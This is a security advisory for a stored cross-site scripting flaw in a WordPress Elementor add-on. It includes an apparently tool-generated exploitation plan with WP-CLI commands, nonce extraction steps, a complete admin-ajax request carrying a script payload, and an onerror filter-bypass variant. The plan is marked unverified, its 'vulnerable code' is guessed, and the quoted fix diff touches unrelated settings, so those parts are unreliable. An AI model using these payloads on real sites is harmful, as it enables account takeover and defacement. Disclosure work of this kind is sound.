CVE-2026-5159

Royal Addons for Elementor <= 1.7.1056 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'Follow Button Text' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.7.1057
Patched in
1d
Time to patch

Description

The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'instagram_follow_text' setting in all versions up to, and including, 1.7.1056 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note that exploitation requires that an administrator has previously configured the Instagram Feed widget with a valid Instagram access token on the site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.1056
PublishedMay 4, 2026
Last updatedMay 5, 2026
Affected pluginroyal-elementor-addons

What Changed in the Fix

Changes introduced in v1.7.1057

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5159 ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (up to version 1.7.1056) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the Instagram Feed widget's processing of the `instagram_f…

Show full research plan

Exploitation Research Plan: CVE-2026-5159

1. Vulnerability Summary

The Royal Addons for Elementor plugin (up to version 1.7.1056) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the Instagram Feed widget's processing of the instagram_follow_text setting. Due to missing input sanitization and output escaping, a user with Contributor-level access or higher can inject arbitrary scripts into a page via the Elementor editor. These scripts execute when any user views the affected page.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (via Elementor's elementor_ajax action).
  • Vulnerable Parameter: instagram_follow_text within the widget settings JSON.
  • Authentication Level: Contributor+.
  • Precondition: An Administrator must have previously configured a valid-looking Instagram Access Token in the plugin's settings (usually stored in wp_options as something like wpr_instagram_access_token or configured in the widget settings).
  • Payload: <script>alert(document.domain)</script> or an admin-account-takeover payload.

3. Code Flow

  1. Entry Point: An authenticated Contributor user opens a post in the Elementor Editor.
  2. Input: The user adds the wpr-instagram-feed widget to the page and modifies the "Follow Button Text" (instagram_follow_text) setting.
  3. Data Storage: When the user clicks "Update" in Elementor, a POST request is sent to admin-ajax.php with the action elementor_ajax. The command editor_post_save is used. Elementor saves the widget settings as a JSON blob in the _elementor_data post meta.
  4. Widget Rendering: The plugin registers the widget in assets/js/frontend.js as wpr-instagram-feed.default.
  5. Sink: In the PHP render() method of the Instagram Feed widget (likely located in modules/instagram-feed/widgets/wpr-instagram-feed.php), the code retrieves the setting:
    $settings = $this->get_settings_for_display();
    // ... logic to check for instagram access token ...
    if ( ! empty( $settings['instagram_follow_text'] ) ) {
        echo '<span class="wpr-instagram-follow-text">' . $settings['instagram_follow_text'] . '</span>'; // VULNERABLE SINK
    }
    
  6. Execution: The unescaped HTML/JS is rendered into the public-facing page.

4. Nonce Acquisition Strategy

To save data in Elementor as a Contributor, we need the elementor_ajax nonce.

  1. Create a Page: Use WP-CLI to create a page and enable Elementor for it.
  2. Access Editor: Navigate to the Elementor editor URL for that page: /wp-admin/post.php?post=[ID]&action=elementor.
  3. Extract Nonce: The Elementor configuration object is stored in the global JavaScript variable elementorCommon.
    • Use browser_eval to extract the nonce: browser_eval("elementorCommon.config.ajax.nonce").
  4. Alternative: The nonce can often be found in the localized script elementor-editor-js-extra under the key nonce.

5. Exploitation Strategy

Step 1: Pre-configuration (Admin)

Ensure the Instagram widget is "active" by simulating a valid token configuration.

wp option update wpr_instagram_access_token "FAKE_TOKEN_12345"

Step 2: Create Target Page (Contributor)

wp post create --post_type=page --post_title="XSS Page" --post_status=publish --post_author=[CONTRIBUTOR_ID]
# Get the Post ID

Step 3: Extract Elementor Nonce

Navigate to the Elementor editor as the Contributor and run:
browser_eval("window.elementorConfig?.ajax?.nonce || elementorCommon.config.ajax.nonce")

Step 4: Submit Malicious Widget Data

Perform a POST request to wp-admin/admin-ajax.php using the http_request tool.

Request Details:

  • URL: http://[target]/wp-admin/admin-ajax.php?action=elementor_ajax
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
actions={"editor_post_save":{"action":"editor_post_save","data":{"status":"publish","elements":[{"id":"[GENERATE_ID]","elType":"section","settings":[],"elements":[{"id":"[GENERATE_ID]","elType":"column","settings":{"_column_size":100},"elements":[{"id":"[GENERATE_ID]","elType":"widget","widgetType":"wpr-instagram-feed","settings":{"instagram_follow_text":"<script>alert(document.domain)</script>","instagram_access_token":"FAKE_TOKEN"}}]}]}]}}}&_nonce=[EXTRACTED_NONCE]&post_id=[POST_ID]

Step 5: Trigger XSS

Navigate to the permalink of the created page: http://[target]/?p=[POST_ID].

6. Test Data Setup

  1. User: Contributor user.
  2. Plugin Settings: The Instagram Feed widget must be enabled. Since version 1.7.1056 is targeted, ensure it is installed and the wpr_instagram_access_token is set in the database (or the widget-level setting is used).
  3. Elementor: Elementor must be active and the created page must be edited with Elementor.

7. Expected Results

  • The AJAX response should return {"success":true,...}.
  • Upon viewing the page, an alert box with the site's domain should appear.
  • Viewing the HTML source of the page should show:
    <span class="wpr-instagram-follow-text"><script>alert(document.domain)</script></span>

8. Verification Steps

  1. Verify DB Storage:
    wp post meta get [POST_ID] _elementor_data
    
    Check if the JSON contains the string <script>alert(document.domain)</script>.
  2. Confirm Execution: Use browser_navigate to the page and check for the presence of the alert or the script tag in the DOM.

9. Alternative Approaches

  • If editor_post_save fails: Try using the standard save_post hook if Royal Addons provides a standalone settings page for Instagram feeds that accepts instagram_follow_text.
  • Payload variations: If <script> is blocked by a basic WAF, use img tags with onerror:
    <img src=x onerror=alert(1)>
  • Dependency check: If the feed doesn't render because the "token" is invalid, try to find a widget template that renders the follow button regardless of the feed loading status (e.g., if "Show Follow Button" is enabled in settings). Look for the control name instagram_show_follow in the widget settings.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Royal Addons for Elementor plugin is vulnerable to Authenticated Stored Cross-Site Scripting via the 'instagram_follow_text' parameter in the Instagram Feed widget. This allows attackers with Contributor-level access or higher to inject malicious scripts that execute in the context of any user viewing the page, provided a valid Instagram access token has been configured.

Vulnerable Code

// modules/instagram-feed/widgets/wpr-instagram-feed.php

$settings = $this->get_settings_for_display();
// ... logic to check for instagram access token ...
if ( ! empty( $settings['instagram_follow_text'] ) ) {
    echo '<span class="wpr-instagram-follow-text">' . $settings['instagram_follow_text'] . '</span>'; // VULNERABLE SINK
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1056/admin/plugin-options.php /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1057/admin/plugin-options.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1056/admin/plugin-options.php	2026-04-03 11:57:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1057/admin/plugin-options.php	2026-04-10 10:58:42.000000000 +0000
@@ -120,6 +120,8 @@
     register_setting('wpr-extension-settings', 'wpr-parallax-multi-layer');
     register_setting('wpr-extension-settings', 'wpr-custom-css');
     register_setting('wpr-extension-settings', 'wpr-display-conditions');
+    register_setting('wpr-extension-settings', 'wpr-equal-height');
+    // register_setting('wpr-extension-settings', 'wpr-column-slider');
     register_setting('wpr-extension-settings', 'wpr-sticky-section');
 
     // Element Toggle
@@ -1630,6 +1632,12 @@
                         echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
                     } elseif ( 'wpr-display-conditions' === $option_name ) {
                         echo '<br><span>Tip: Edit any Element > Navigate to Visibility tab</span>';
+                    } elseif ( 'wpr-column-slider' === $option_name ) {
+                        echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
+                        // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>';
+                    } elseif ( 'wpr-equal-height' === $option_name ) {
+                        echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
+                        // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>';
                     }
 
                     // echo '<a href="https://royal-elementor-addons.com/elementor-particle-effects/?ref=rea-plugin-backend-extentions-prev">'. esc_html('View Extension Demo', 'wpr-addons') .'</a>';
... (truncated)

Exploit Outline

1. Login to the WordPress dashboard with at least Contributor-level permissions. 2. Create or edit a post/page and launch the Elementor Editor. 3. Add the 'Royal Instagram Feed' widget to the page layout. 4. In the widget's Content settings, find the 'Follow Button' section and locate the 'Follow Button Text' field (internally `instagram_follow_text`). 5. Enter a malicious script payload, such as <script>alert(document.domain)</script>, into this field. 6. Save or Update the page to store the payload in the post's Elementor metadata. 7. View the published page as any user. Provided a valid Instagram Access Token has been configured in the plugin settings (a required precondition for the widget to render), the unescaped script will execute in the browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.